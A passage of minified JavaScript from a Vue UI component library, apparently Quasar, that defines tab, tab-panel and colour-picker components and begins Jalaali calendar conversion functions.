                    this.__updateArrows())
                }
            },
            __updateArrowsFn: function() {
                var t = this.$refs.content
                  , e = t.getBoundingClientRect()
                  , i = !0 === this.vertical ? t.scrollTop : t.scrollLeft;
                this.leftArrow = i > 0,
                this.rightArrow = !0 === this.vertical ? Math.ceil(i + e.height) < t.scrollHeight : Math.ceil(i + e.width) < t.scrollWidth
            },
            __animScrollTo: function(t) {
                var e = this;
                this.__stopAnimScroll(),
                this.__scrollTowards(t),
                this.scrollTimer = setInterval(function() {
                    e.__scrollTowards(t) && e.__stopAnimScroll()
                }, 5)
            },
            __scrollToStart: function() {
                this.__animScrollTo(0)
            },
            __scrollToEnd: function() {
                this.__animScrollTo(9999)
            },
            __stopAnimScroll: function() {
                clearInterval(this.scrollTimer)
            },
            __scrollTowards: function(t) {
                var e = this.$refs.content
                  , i = !0 === this.vertical ? e.scrollTop : e.scrollLeft
                  , s = !1
                  , n = t < i ? -1 : 1;
                return (i += 5 * n) < 0 ? (s = !0,
                i = 0) : (-1 === n && i <= t || 1 === n && i >= t) && (s = !0,
                i = t),
                e[!0 === this.vertical ? "scrollTop" : "scrollLeft"] = i,
                this.__updateArrows(),
                s
            }
        },
        created: function() {
            this.buffer = [],
            this.__updateArrows = !0 === this.arrowsEnabled ? this.__updateArrowsFn : f
        },
        beforeDestroy: function() {
            clearTimeout(this.bufferTimer),
            clearTimeout(this.animateTimer)
        },
        render: function(t) {
            var e = [t(Zi, {
                on: mt(this, "resize", {
                    resize: this.__updateContainer
                })
            }), t("div", {
                ref: "content",
                staticClass: "q-tabs__content row no-wrap items-center self-stretch hide-scrollbar",
                class: this.innerClass
            }, Lt(this, "default"))];
            return !0 === this.arrowsEnabled && e.push(t(Et, {
                staticClass: "q-tabs__arrow q-tabs__arrow--left absolute q-tab__icon",
                class: !0 === this.leftArrow ? "" : "q-tabs__arrow--faded",
                props: {
                    name: this.leftIcon || (!0 === this.vertical ? this.$q.iconSet.tabs.up : this.$q.iconSet.tabs.left)
                },
                on: mt(this, "onL", {
                    mousedown: this.__scrollToStart,
                    touchstart: this.__scrollToStart,
                    mouseup: this.__stopAnimScroll,
                    mouseleave: this.__stopAnimScroll,
                    touchend: this.__stopAnimScroll
                })
            }), t(Et, {
                staticClass: "q-tabs__arrow q-tabs__arrow--right absolute q-tab__icon",
                class: !0 === this.rightArrow ? "" : "q-tabs__arrow--faded",
                props: {
                    name: this.rightIcon || (!0 === this.vertical ? this.$q.iconSet.tabs.down : this.$q.iconSet.tabs.right)
                },
                on: mt(this, "onR", {
                    mousedown: this.__scrollToEnd,
                    touchstart: this.__scrollToEnd,
                    mouseup: this.__stopAnimScroll,
                    mouseleave: this.__stopAnimScroll,
                    touchend: this.__stopAnimScroll
                })
            })),
            t("div", {
                staticClass: "q-tabs row no-wrap items-center",
                class: this.classes,
                on: this.onEvents,
                attrs: {
                    role: "tablist"
                }
            }, e)
        }
    })
      , os = 0
      , rs = t.extend({
        name: "QTab",
        mixins: [oe, Mt],
        inject: {
            tabs: {
                default: function() {
                    console.error("QTab/QRouteTab components need to be child of QTabs")
                }
            },
            __activateTab: {},
            __recalculateScroll: {}
        },
        props: {
            icon: String,
            label: [Number, String],
            alert: [Boolean, String],
            alertIcon: String,
            name: {
                type: [Number, String],
                default: function() {
                    return "t_" + os++
                }
            },
            noCaps: Boolean,
            tabindex: [String, Number],
            disable: Boolean,
            contentClass: String
        },
        computed: {
            isActive: function() {
                return this.tabs.current === this.name
            },
            classes: function() {
                var t;
                return (t = {})["q-tab--" + (this.isActive ? "" : "in") + "active"] = !0,
                t["text-" + this.tabs.activeColor] = this.isActive && this.tabs.activeColor,
                t["bg-" + this.tabs.activeBgColor] = this.isActive && this.tabs.activeBgColor,
                t["q-tab--full"] = this.icon && this.label && !this.tabs.inlineLabel,
                t["q-tab--no-caps"] = !0 === this.noCaps || !0 === this.tabs.noCaps,
                t["q-focusable q-hoverable cursor-pointer"] = !this.disable,
                t.disabled = this.disable,
                t
            },
            innerClass: function() {
                return (!0 === this.tabs.inlineLabel ? "row no-wrap q-tab__content--inline" : "column") + (void 0 !== this.contentClass ? " " + this.contentClass : "")
            },
            computedTabIndex: function() {
                return !0 === this.disable || !0 === this.isActive ? -1 : this.tabindex || 0
            },
            onEvents: function() {
                return Object.assign({}, {
                    input: y
                }, this.qListeners, {
                    click: this.__activate,
                    keyup: this.__onKeyup
                })
            },
            attrs: function() {
                var t = {
                    tabindex: this.computedTabIndex,
                    role: "tab",
                    "aria-selected": this.isActive
                };
                return !0 === this.disable && (t["aria-disabled"] = ""),
                t
            }
        },
        methods: {
            __activate: function(t, e) {
                !0 !== e && void 0 !== this.$refs.blurTarget && this.$refs.blurTarget.focus(),
                !0 !== this.disable && (void 0 !== this.qListeners.click && this.$emit("click", t),
                this.__activateTab(this.name))
            },
            __onKeyup: function(t) {
                !0 === tt(t, 13) && this.__activate(t, !0)
            },
            __getContent: function(t) {
                var e = this.tabs.narrowIndicator
                  , i = []
                  , s = t("div", {
                    staticClass: "q-tab__indicator",
                    class: this.tabs.indicatorClass
                });
                void 0 !== this.icon && i.push(t(Et, {
                    staticClass: "q-tab__icon",
                    props: {
                        name: this.icon
                    }
                })),
                void 0 !== this.label && i.push(t("div", {
                    staticClass: "q-tab__label"
                }, [this.label])),
                !1 !== this.alert && i.push(void 0 !== this.alertIcon ? t(Et, {
                    staticClass: "q-tab__alert-icon",
                    props: {
                        color: !0 !== this.alert ? this.alert : void 0,
                        name: this.alertIcon
                    }
                }) : t("div", {
                    staticClass: "q-tab__alert",
                    class: !0 !== this.alert ? "text-" + this.alert : null
                })),
                !0 === e && i.push(s);
                var n = [t("div", {
                    staticClass: "q-focus-helper",
                    attrs: {
                        tabindex: -1
                    },
                    ref: "blurTarget"
                }), t("div", {
                    staticClass: "q-tab__content self-stretch flex-center relative-position q-anchor--skip non-selectable",
                    class: this.innerClass
                }, Pt(i, this, "default"))];
                return !1 === e && n.push(s),
                n
            },
            __renderTab: function(t, e, i) {
                var s = {
                    staticClass: "q-tab relative-position self-stretch flex flex-center text-center",
                    class: this.classes,
                    attrs: this.attrs,
                    directives: !1 !== this.ripple && !0 === this.disable ? null : [{
                        name: "ripple",
                        value: this.ripple
                    }]
                };
                return s["div" === e ? "on" : "nativeOn"] = this.onEvents,
                void 0 !== i && (s.props = i),
                t(e, s, this.__getContent(t))
            }
        },
        mounted: function() {
            this.__recalculateScroll()
        },
        beforeDestroy: function() {
            this.__recalculateScroll()
        },
        render: function(t) {
            return this.__renderTab(t, "div")
        }
    })
      , as = t.extend({
        name: "QTabPanels",
        mixins: [Dt, mi],
        computed: {
            classes: function() {
                return "q-tab-panels q-panel-parent" + (!0 === this.isDark ? " q-tab-panels--dark q-dark" : "")
            }
        },
        methods: {
            __renderPanels: function(t) {
                return t("div", {
                    class: this.classes,
                    directives: this.panelDirectives,
                    on: Object.assign({}, this.qListeners)
                }, this.__getPanelContent(t))
            }
        }
    })
      , ls = t.extend({
        name: "QTabPanel",
        mixins: [vi],
        render: function(t) {
            return t("div", {
                staticClass: "q-tab-panel",
                on: Object.assign({}, this.qListeners)
            }, Lt(this, "default"))
        }
    })
      , cs = ["rgb(255,204,204)", "rgb(255,230,204)", "rgb(255,255,204)", "rgb(204,255,204)", "rgb(204,255,230)", "rgb(204,255,255)", "rgb(204,230,255)", "rgb(204,204,255)", "rgb(230,204,255)", "rgb(255,204,255)", "rgb(255,153,153)", "rgb(255,204,153)", "rgb(255,255,153)", "rgb(153,255,153)", "rgb(153,255,204)", "rgb(153,255,255)", "rgb(153,204,255)", "rgb(153,153,255)", "rgb(204,153,255)", "rgb(255,153,255)", "rgb(255,102,102)", "rgb(255,179,102)", "rgb(255,255,102)", "rgb(102,255,102)", "rgb(102,255,179)", "rgb(102,255,255)", "rgb(102,179,255)", "rgb(102,102,255)", "rgb(179,102,255)", "rgb(255,102,255)", "rgb(255,51,51)", "rgb(255,153,51)", "rgb(255,255,51)", "rgb(51,255,51)", "rgb(51,255,153)", "rgb(51,255,255)", "rgb(51,153,255)", "rgb(51,51,255)", "rgb(153,51,255)", "rgb(255,51,255)", "rgb(255,0,0)", "rgb(255,128,0)", "rgb(255,255,0)", "rgb(0,255,0)", "rgb(0,255,128)", "rgb(0,255,255)", "rgb(0,128,255)", "rgb(0,0,255)", "rgb(128,0,255)", "rgb(255,0,255)", "rgb(245,0,0)", "rgb(245,123,0)", "rgb(245,245,0)", "rgb(0,245,0)", "rgb(0,245,123)", "rgb(0,245,245)", "rgb(0,123,245)", "rgb(0,0,245)", "rgb(123,0,245)", "rgb(245,0,245)", "rgb(214,0,0)", "rgb(214,108,0)", "rgb(214,214,0)", "rgb(0,214,0)", "rgb(0,214,108)", "rgb(0,214,214)", "rgb(0,108,214)", "rgb(0,0,214)", "rgb(108,0,214)", "rgb(214,0,214)", "rgb(163,0,0)", "rgb(163,82,0)", "rgb(163,163,0)", "rgb(0,163,0)", "rgb(0,163,82)", "rgb(0,163,163)", "rgb(0,82,163)", "rgb(0,0,163)", "rgb(82,0,163)", "rgb(163,0,163)", "rgb(92,0,0)", "rgb(92,46,0)", "rgb(92,92,0)", "rgb(0,92,0)", "rgb(0,92,46)", "rgb(0,92,92)", "rgb(0,46,92)", "rgb(0,0,92)", "rgb(46,0,92)", "rgb(92,0,92)", "rgb(255,255,255)", "rgb(205,205,205)", "rgb(178,178,178)", "rgb(153,153,153)", "rgb(127,127,127)", "rgb(102,102,102)", "rgb(76,76,76)", "rgb(51,51,51)", "rgb(25,25,25)", "rgb(0,0,0)"]
      , us = t.extend({
        name: "QColor",
        mixins: [Mt, Dt, ai],
        directives: {
            TouchPan: Qi
        },
        props: {
            value: String,
            defaultValue: String,
            defaultView: {
                type: String,
                default: "spectrum",
                validator: function(t) {
                    return ["spectrum", "tune", "palette"].includes(t)
                }
            },
            formatModel: {
                type: String,
                default: "auto",
                validator: function(t) {
                    return ["auto", "hex", "rgb", "hexa", "rgba"].includes(t)
                }
            },
            palette: Array,
            noHeader: Boolean,
            noFooter: Boolean,
            square: Boolean,
            flat: Boolean,
            bordered: Boolean,
            disable: Boolean,
            readonly: Boolean
        },
        data: function() {
            return {
                topView: "auto" === this.formatModel ? void 0 === this.value || null === this.value || "" === this.value || this.value.startsWith("#") ? "hex" : "rgb" : this.formatModel.startsWith("hex") ? "hex" : "rgb",
                view: this.defaultView,
                model: this.__parseModel(this.value || this.defaultValue)
            }
        },
        watch: {
            value: function(t) {
                var e = this.__parseModel(t || this.defaultValue);
                e.hex !== this.model.hex && (this.model = e)
            },
            defaultValue: function(t) {
                if (!this.value && t) {
                    var e = this.__parseModel(t);
                    e.hex !== this.model.hex && (this.model = e)
                }
            }
        },
        computed: {
            editable: function() {
                return !0 !== this.disable && !0 !== this.readonly
            },
            forceHex: function() {
                return "auto" === this.formatModel ? null : this.formatModel.indexOf("hex") > -1
            },
            forceAlpha: function() {
                return "auto" === this.formatModel ? null : this.formatModel.indexOf("a") > -1
            },
            isHex: function() {
                return void 0 === this.value || null === this.value || "" === this.value || this.value.startsWith("#")
            },
            isOutputHex: function() {
                return null !== this.forceHex ? this.forceHex : this.isHex
            },
            formAttrs: function() {
                return {
                    type: "hidden",
                    name: this.name,
                    value: this.model[!0 === this.isOutputHex ? "hex" : "rgb"]
                }
            },
            hasAlpha: function() {
                return null !== this.forceAlpha ? this.forceAlpha : void 0 !== this.model.a
            },
            currentBgColor: function() {
                return {
                    backgroundColor: this.model.rgb || "#000"
                }
            },
            headerClass: function() {
                return "q-color-picker__header-content--" + (void 0 !== this.model.a && this.model.a < 65 || Y(this.model) > .4 ? "light" : "dark")
            },
            spectrumStyle: function() {
                return {
                    background: "hsl(" + this.model.h + ",100%,50%)"
                }
            },
            spectrumPointerStyle: function() {
                var t;
                return (t = {
                    top: 100 - this.model.v + "%"
                })[!0 === this.$q.lang.rtl ? "right" : "left"] = this.model.s + "%",
                t
            },
            inputsArray: function() {
                var t = ["r", "g", "b"];
                return !0 === this.hasAlpha && t.push("a"),
                t
            },
            computedPalette: function() {
                return void 0 !== this.palette && this.palette.length > 0 ? this.palette : cs
            },
            classes: function() {
                return "q-color-picker" + (!0 === this.bordered ? " q-color-picker--bordered" : "") + (!0 === this.square ? " q-color-picker--square no-border-radius" : "") + (!0 === this.flat ? " q-color-picker--flat no-shadow" : "") + (!0 === this.disable ? " disabled" : "") + (!0 === this.isDark ? " q-color-picker--dark q-dark" : "")
            },
            attrs: function() {
                return !0 === this.disable ? {
                    "aria-disabled": ""
                } : !0 === this.readonly ? {
                    "aria-readonly": ""
                } : void 0
            }
        },
        created: function() {
            this.__spectrumChange = ee(this.__spectrumChange, 20)
        },
        render: function(t) {
            var e = [this.__getContent(t)];
            return void 0 !== this.name && !0 !== this.disable && this.__injectFormInput(e, "push"),
            !0 !== this.noHeader && e.unshift(this.__getHeader(t)),
            !0 !== this.noFooter && e.push(this.__getFooter(t)),
            t("div", {
                class: this.classes,
                attrs: this.attrs,
                on: Object.assign({}, this.qListeners)
            }, e)
        },
        methods: {
            __getHeader: function(t) {
                var e = this;
                return t("div", {
                    staticClass: "q-color-picker__header relative-position overflow-hidden"
                }, [t("div", {
                    staticClass: "q-color-picker__header-bg absolute-full"
                }), t("div", {
                    staticClass: "q-color-picker__header-content absolute-full",
                    class: this.headerClass,
                    style: this.currentBgColor
                }, [t(ns, {
                    props: {
                        value: this.topView,
                        dense: !0,
                        align: "justify"
                    },
                    on: mt(this, "topVTab", {
                        input: function(t) {
                            e.topView = t
                        }
                    })
                }, [t(rs, {
                    props: {
                        label: "HEX" + (!0 === this.hasAlpha ? "A" : ""),
                        name: "hex",
                        ripple: !1
                    }
                }), t(rs, {
                    props: {
                        label: "RGB" + (!0 === this.hasAlpha ? "A" : ""),
                        name: "rgb",
                        ripple: !1
                    }
                })]), t("div", {
                    staticClass: "q-color-picker__header-banner row flex-center no-wrap"
                }, [t("input", {
                    staticClass: "fit",
                    domProps: {
                        value: this.model[this.topView]
                    },
                    attrs: !0 !== this.editable ? {
                        readonly: !0
                    } : null,
                    on: mt(this, "topIn", {
                        input: function(t) {
                            e.__updateErrorIcon(!0 === e.__onEditorChange(t))
                        },
                        change: y,
                        blur: function(t) {
                            !0 === e.__onEditorChange(t, !0) && e.$forceUpdate(),
                            e.__updateErrorIcon(!1)
                        }
                    })
                }), t(Et, {
                    ref: "errorIcon",
                    staticClass: "q-color-picker__error-icon absolute no-pointer-events",
                    props: {
                        name: this.$q.iconSet.type.negative
                    }
                })])])])
            },
            __getContent: function(t) {
                return t(as, {
                    props: {
                        value: this.view,
                        animated: !0
                    }
                }, [t(ls, {
                    staticClass: "q-color-picker__spectrum-tab overflow-hidden",
                    props: {
                        name: "spectrum"
                    }
                }, this.__getSpectrumTab(t)), t(ls, {
                    staticClass: "q-pa-md q-color-picker__tune-tab",
                    props: {
                        name: "tune"
                    }
                }, this.__getTuneTab(t)), t(ls, {
                    staticClass: "q-color-picker__palette-tab",
                    props: {
                        name: "palette"
                    }
                }, this.__getPaletteTab(t))])
            },
            __getFooter: function(t) {
                var e = this;
                return t("div", {
                    staticClass: "q-color-picker__footer relative-position overflow-hidden"
                }, [t(ns, {
                    staticClass: "absolute-full",
                    props: {
                        value: this.view,
                        dense: !0,
                        align: "justify"
                    },
                    on: mt(this, "ftIn", {
                        input: function(t) {
                            e.view = t
                        }
                    })
                }, [t(rs, {
                    props: {
                        icon: this.$q.iconSet.colorPicker.spectrum,
                        name: "spectrum",
                        ripple: !1
                    }
                }), t(rs, {
                    props: {
                        icon: this.$q.iconSet.colorPicker.tune,
                        name: "tune",
                        ripple: !1
                    }
                }), t(rs, {
                    props: {
                        icon: this.$q.iconSet.colorPicker.palette,
                        name: "palette",
                        ripple: !1
                    }
                })])])
            },
            __getSpectrumTab: function(t) {
                var e = this;
                return [t("div", {
                    ref: "spectrum",
                    staticClass: "q-color-picker__spectrum non-selectable relative-position cursor-pointer",
                    style: this.spectrumStyle,
                    class: {
                        readonly: !0 !== this.editable
                    },
                    on: !0 === this.editable ? mt(this, "spectrT", {
                        click: this.__spectrumClick,
                        mousedown: this.__activate
                    }) : null,
                    directives: !0 === this.editable ? mt(this, "spectrDir", [{
                        name: "touch-pan",
                        modifiers: {
                            prevent: !0,
                            stop: !0,
                            mouse: !0
                        },
                        value: this.__spectrumPan
                    }]) : null
                }, [t("div", {
                    style: {
                        paddingBottom: "100%"
                    }
                }), t("div", {
                    staticClass: "q-color-picker__spectrum-white absolute-full"
                }), t("div", {
                    staticClass: "q-color-picker__spectrum-black absolute-full"
                }), t("div", {
                    staticClass: "absolute",
                    style: this.spectrumPointerStyle
                }, [void 0 !== this.model.hex ? t("div", {
                    staticClass: "q-color-picker__spectrum-circle"
                }) : null])]), t("div", {
                    staticClass: "q-color-picker__sliders"
                }, [t("div", {
                    staticClass: "q-color-picker__hue non-selectable"
                }, [t(Xi, {
                    props: {
                        value: this.model.h,
                        min: 0,
                        max: 360,
                        fillHandleAlways: !0,
                        readonly: !0 !== this.editable,
                        thumbPath: "M5 5 h10 v10 h-10 v-10 z"
                    },
                    on: mt(this, "hueSlide", {
                        input: this.__onHueChange,
                        change: function(t) {
                            return e.__onHueChange(t, !0)
                        }
                    })
                })]), !0 === this.hasAlpha ? t("div", {
                    staticClass: "q-color-picker__alpha non-selectable"
                }, [t(Xi, {
                    props: {
                        value: this.model.a,
                        min: 0,
                        max: 100,
                        fillHandleAlways: !0,
                        readonly: !0 !== this.editable,
                        thumbPath: "M5 5 h10 v10 h-10 v-10 z"
                    },
                    on: mt(this, "alphaSlide", {
                        input: function(t) {
                            return e.__onNumericChange(t, "a", 100)
                        },
                        change: function(t) {
                            return e.__onNumericChange(t, "a", 100, void 0, !0)
                        }
                    })
                })]) : null])]
            },
            __getTuneTab: function(t) {
                var e = this;
                return [t("div", {
                    staticClass: "row items-center no-wrap"
                }, [t("div", ["R"]), t(Xi, {
                    props: {
                        value: this.model.r,
                        min: 0,
                        max: 255,
                        color: "red",
                        dark: this.isDark,
                        readonly: !0 !== this.editable
                    },
                    on: mt(this, "rSlide", {
                        input: function(t) {
                            return e.__onNumericChange(t, "r", 255)
                        },
                        change: function(t) {
                            return e.__onNumericChange(t, "r", 255, void 0, !0)
                        }
                    })
                }), t("input", {
                    domProps: {
                        value: this.model.r
                    },
                    attrs: {
                        maxlength: 3,
                        readonly: !0 !== this.editable
                    },
                    on: mt(this, "rIn", {
                        input: function(t) {
                            return e.__onNumericChange(t.target.value, "r", 255, t)
                        },
                        change: y,
                        blur: function(t) {
                            return e.__onNumericChange(t.target.value, "r", 255, t, !0)
                        }
                    })
                })]), t("div", {
                    staticClass: "row items-center no-wrap"
                }, [t("div", ["G"]), t(Xi, {
                    props: {
                        value: this.model.g,
                        min: 0,
                        max: 255,
                        color: "green",
                        dark: this.isDark,
                        readonly: !0 !== this.editable
                    },
                    on: mt(this, "gSlide", {
                        input: function(t) {
                            return e.__onNumericChange(t, "g", 255)
                        },
                        change: function(t) {
                            return e.__onNumericChange(t, "g", 255, void 0, !0)
                        }
                    })
                }), t("input", {
                    domProps: {
                        value: this.model.g
                    },
                    attrs: {
                        maxlength: 3,
                        readonly: !0 !== this.editable
                    },
                    on: mt(this, "gIn", {
                        input: function(t) {
                            return e.__onNumericChange(t.target.value, "g", 255, t)
                        },
                        change: y,
                        blur: function(t) {
                            return e.__onNumericChange(t.target.value, "g", 255, t, !0)
                        }
                    })
                })]), t("div", {
                    staticClass: "row items-center no-wrap"
                }, [t("div", ["B"]), t(Xi, {
                    props: {
                        value: this.model.b,
                        min: 0,
                        max: 255,
                        color: "blue",
                        readonly: !0 !== this.editable,
                        dark: this.isDark
                    },
                    on: mt(this, "bSlide", {
                        input: function(t) {
                            return e.__onNumericChange(t, "b", 255)
                        },
                        change: function(t) {
                            return e.__onNumericChange(t, "b", 255, void 0, !0)
                        }
                    })
                }), t("input", {
                    domProps: {
                        value: this.model.b
                    },
                    attrs: {
                        maxlength: 3,
                        readonly: !0 !== this.editable
                    },
                    on: mt(this, "bIn", {
                        input: function(t) {
                            return e.__onNumericChange(t.target.value, "b", 255, t)
                        },
                        change: y,
                        blur: function(t) {
                            return e.__onNumericChange(t.target.value, "b", 255, t, !0)
                        }
                    })
                })]), !0 === this.hasAlpha ? t("div", {
                    staticClass: "row items-center no-wrap"
                }, [t("div", ["A"]), t(Xi, {
                    props: {
                        value: this.model.a,
                        color: "grey",
                        readonly: !0 !== this.editable,
                        dark: this.isDark
                    },
                    on: mt(this, "aSlide", {
                        input: function(t) {
                            return e.__onNumericChange(t, "a", 100)
                        },
                        change: function(t) {
                            return e.__onNumericChange(t, "a", 100, void 0, !0)
                        }
                    })
                }), t("input", {
                    domProps: {
                        value: this.model.a
                    },
                    attrs: {
                        maxlength: 3,
                        readonly: !0 !== this.editable
                    },
                    on: mt(this, "aIn", {
                        input: function(t) {
                            return e.__onNumericChange(t.target.value, "a", 100, t)
                        },
                        change: y,
                        blur: function(t) {
                            return e.__onNumericChange(t.target.value, "a", 100, t, !0)
                        }
                    })
                })]) : null]
            },
            __getPaletteTab: function(t) {
                var e = this;
                return [t("div", {
                    staticClass: "row items-center q-color-picker__palette-rows",
                    class: !0 === this.editable ? "q-color-picker__palette-rows--editable" : ""
                }, this.computedPalette.map(function(i) {
                    return t("div", {
                        staticClass: "q-color-picker__cube col-auto",
                        style: {
                            backgroundColor: i
                        },
                        on: !0 === e.editable ? mt(e, "palette#" + i, {
                            click: function() {
                                e.__onPalettePick(i)
                            }
                        }) : null
                    })
                }))]
            },
            __onSpectrumChange: function(t, e, i) {
                var s = this.$refs.spectrum;
                if (void 0 !== s) {
                    var n = s.clientWidth
                      , o = s.clientHeight
                      , r = s.getBoundingClientRect()
                      , a = Math.min(n, Math.max(0, t - r.left));
                    !0 === this.$q.lang.rtl && (a = n - a);
                    var l = Math.min(o, Math.max(0, e - r.top))
                      , c = Math.round(100 * a / n)
                      , u = Math.round(100 * Math.max(0, Math.min(1, -l / o + 1)))
                      , h = H({
                        h: this.model.h,
                        s: c,
                        v: u,
                        a: !0 === this.hasAlpha ? this.model.a : void 0
                    });
                    this.model.s = c,
                    this.model.v = u,
                    this.__update(h, i)
                }
            },
            __onHueChange: function(t, e) {
                var i = H({
                    h: t = Math.round(t),
                    s: this.model.s,
                    v: this.model.v,
                    a: !0 === this.hasAlpha ? this.model.a : void 0
                });
                this.model.h = t,
                this.__update(i, e)
            },
            __onNumericChange: function(t, e, i, s, n) {
                if (void 0 !== s && y(s),
                /^[0-9]+$/.test(t)) {
                    var o = Math.floor(Number(t));
                    if (o < 0 || o > i)
                        !0 === n && this.$forceUpdate();
                    else {
                        var r = {
                            r: "r" === e ? o : this.model.r,
                            g: "g" === e ? o : this.model.g,
                            b: "b" === e ? o : this.model.b,
                            a: !0 === this.hasAlpha ? "a" === e ? o : this.model.a : void 0
                        };
                        if ("a" !== e) {
                            var a = Q(r);
                            this.model.h = a.h,
                            this.model.s = a.s,
                            this.model.v = a.v
                        }
                        if (this.__update(r, n),
                        void 0 !== s && !0 !== n && void 0 !== s.target.selectionEnd) {
                            var l = s.target.selectionEnd;
                            this.$nextTick(function() {
                                s.target.setSelectionRange(l, l)
                            })
                        }
                    }
                } else
                    n && this.$forceUpdate()
            },
            __onEditorChange: function(t, e) {
                var i, s = t.target.value;
                if (y(t),
                "hex" === this.topView) {
                    if (s.length !== (!0 === this.hasAlpha ? 9 : 7) || !/^#[0-9A-Fa-f]+$/.test(s))
                        return !0;
                    i = N(s)
                } else {
                    var n;
                    if (!s.endsWith(")"))
                        return !0;
                    if (!0 !== this.hasAlpha && s.startsWith("rgb(")) {
                        if (3 !== (n = s.substring(4, s.length - 1).split(",").map(function(t) {
                            return parseInt(t, 10)
                        })).length || !/^rgb\([0-9]{1,3},[0-9]{1,3},[0-9]{1,3}\)$/.test(s))
                            return !0
                    } else {
                        if (!0 !== this.hasAlpha || !s.startsWith("rgba("))
                            return !0;
                        if (4 !== (n = s.substring(5, s.length - 1).split(",")).length || !/^rgba\([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},(0|0\.[0-9]+[1-9]|0\.[1-9]+|1)\)$/.test(s))
                            return !0;
                        for (var o = 0; o < 3; o++) {
                            var r = parseInt(n[o], 10);
                            if (r < 0 || r > 255)
                                return !0;
                            n[o] = r
                        }
                        var a = parseFloat(n[3]);
                        if (a < 0 || a > 1)
                            return !0;
                        n[3] = a
                    }
                    if (n[0] < 0 || n[0] > 255 || n[1] < 0 || n[1] > 255 || n[2] < 0 || n[2] > 255 || !0 === this.hasAlpha && (n[3] < 0 || n[3] > 1))
                        return !0;
                    i = {
                        r: n[0],
                        g: n[1],
                        b: n[2],
                        a: !0 === this.hasAlpha ? 100 * n[3] : void 0
                    }
                }
                var l = Q(i);
                if (this.model.h = l.h,
                this.model.s = l.s,
                this.model.v = l.v,
                this.__update(i, e),
                !0 !== e) {
                    var c = t.target.selectionEnd;
                    this.$nextTick(function() {
                        t.target.setSelectionRange(c, c)
                    })
                }
            },
            __onPalettePick: function(t) {
                var e = this.__parseModel(t)
                  , i = {
                    r: e.r,
                    g: e.g,
                    b: e.b,
                    a: e.a
                };
                void 0 === i.a && (i.a = this.model.a),
                this.model.h = e.h,
                this.model.s = e.s,
                this.model.v = e.v,
                this.__update(i, !0)
            },
            __update: function(t, e) {
                this.model.hex = j(t),
                this.model.rgb = V(t),
                this.model.r = t.r,
                this.model.g = t.g,
                this.model.b = t.b,
                this.model.a = t.a;
                var i = this.model[!0 === this.isOutputHex ? "hex" : "rgb"];
                this.$emit("input", i),
                !0 === e && this.$emit("change", i)
            },
            __updateErrorIcon: function(t) {
                void 0 !== this.$refs.errorIcon && (this.$refs.errorIcon.$el.style.opacity = t ? 1 : 0)
            },
            __parseModel: function(t) {
                var e = void 0 !== this.forceAlpha ? this.forceAlpha : "auto" === this.formatModel ? null : this.formatModel.indexOf("a") > -1;
                if ("string" != typeof t || 0 === t.length || !0 !== ji.anyColor(t.replace(/ /g, "")))
                    return {
                        h: 0,
                        s: 0,
                        v: 0,
                        r: 0,
                        g: 0,
                        b: 0,
                        a: !0 === e ? 100 : void 0,
                        hex: void 0,
                        rgb: void 0
                    };
                var i = W(t);
                return !0 === e && void 0 === i.a && (i.a = 100),
                i.hex = j(i),
                i.rgb = V(i),
                Object.assign(i, Q(i))
            },
            __spectrumPan: function(t) {
                t.isFinal ? this.__onSpectrumChange(t.position.left, t.position.top, !0) : this.__spectrumChange(t)
            },
            __spectrumChange: function(t) {
                this.__onSpectrumChange(t.position.left, t.position.top)
            },
            __spectrumClick: function(t) {
                this.__onSpectrumChange(t.pageX - window.pageXOffset, t.pageY - window.pageYOffset, !0)
            },
            __activate: function(t) {
                this.__onSpectrumChange(t.pageX - window.pageXOffset, t.pageY - window.pageYOffset)
            }
        }
    })
      , hs = [-61, 9, 38, 199, 426, 686, 756, 818, 1111, 1181, 1210, 1635, 2060, 2097, 2192, 2262, 2324, 2394, 2456, 3178];
    function ds(t, e, i) {
        return "[object Date]" === Object.prototype.toString.call(t) && (i = t.getDate(),
        e = t.getMonth() + 1,
        t = t.getFullYear()),
        function(t) {
            var e, i, s, n = _s(t).gy, o = n - 621, r = vs(o, !1), a = gs(n, 3, r.march);
            if ((s = t - a) >= 0) {
                if (s <= 185)
                    return i = 1 + bs(s, 31),
                    e = ys(s, 31) + 1,
                    {
                        jy: o,
                        jm: i,
                        jd: e
                    };
                s -= 186
            } else
                o -= 1,
                s += 179,
                1 === r.leap && (s += 1);
            return i = 7 + bs(s, 30),
            e = ys(s, 30) + 1,
            {
                jy: o,
                jm: i,
                jd: e
            }
        }(gs(t, e, i))
    }
    function ps(t, e, i) {
        return _s(function(t, e, i) {
            var s = vs(t, !0);
            return gs(s.gy, 3, s.march) + 31 * (e - 1) - bs(e, 7) * (e - 7) + i - 1
        }(t, e, i))
    }
    function fs(t) {
        return 0 === function(t) {
            var e, i, s, n, o, r = hs.length, a = hs[0];
            if (t < a || t >= hs[r - 1])
                throw new Error("Invalid Jalaali year " + t);
            for (o = 1; o < r && (e = hs[o],
            i = e - a,
            !(t < e)); o += 1)
                a = e;
            i - (n = t - a) < 6 && (n = n - i + 33 * bs(i + 4, 33));
            -1 === (s = ys(ys(n + 1, 33) - 1, 4)) && (s = 4);
            return s
        }(t)
    }
    function ms(t, e) {
        return e <= 6 ? 31 : e <= 11 ? 30 : fs(t) ? 30 : 29
    }
    function vs(t, e) {
        var i, s, n, o, r, a = hs.length, l = t + 621, c = -14, u = hs[0];
        if (t < u || t >= hs[a - 1])
            throw new Error("Invalid Jalaali year " + t);
        for (r = 1; r < a && (s = (i = hs[r]) - u,
        !(t < i)); r += 1)
            c = c + 8 * bs(s, 33) + bs(ys(s, 33), 4),
            u = i;
        c = c + 8 * bs(o = t - u, 33) + bs(ys(o, 33) + 3, 4),
        4 === ys(s, 33) && s - o == 4 && (c += 1);
        var h = 20 + c - (bs(l, 4) - bs(3 * (bs(l, 100) + 1), 4) - 150);
        return e || (s - o < 6 && (o = o - s + 33 * bs(s + 4, 33)),
        -1 === (n = ys(ys(o + 1, 33) - 1, 4)) && (n = 4)),
        {
            leap: n,
            gy: l,
            march: h
        }
    }
    function gs(t, e, i) {
        var s = bs(1461 * (t + bs(e - 8, 6) + 100100), 4) + bs(153 * ys(e + 9, 12) + 2, 5) + i - 34840408;
        return s = s - bs(3 * bs(t + 100100 + bs(e - 8, 6), 100), 4) + 752
    }
    function _s(t) {
        var e = 4 * t + 139361631
          , i = 5 * bs(ys(e = e + 4 * bs(3 * bs(4 * t + 183187720, 146097), 4) - 3908, 1461), 4) + 308
          , s = bs(ys(i, 153), 5) + 1
          , n = ys(bs(i, 153), 12) + 1;
        return {
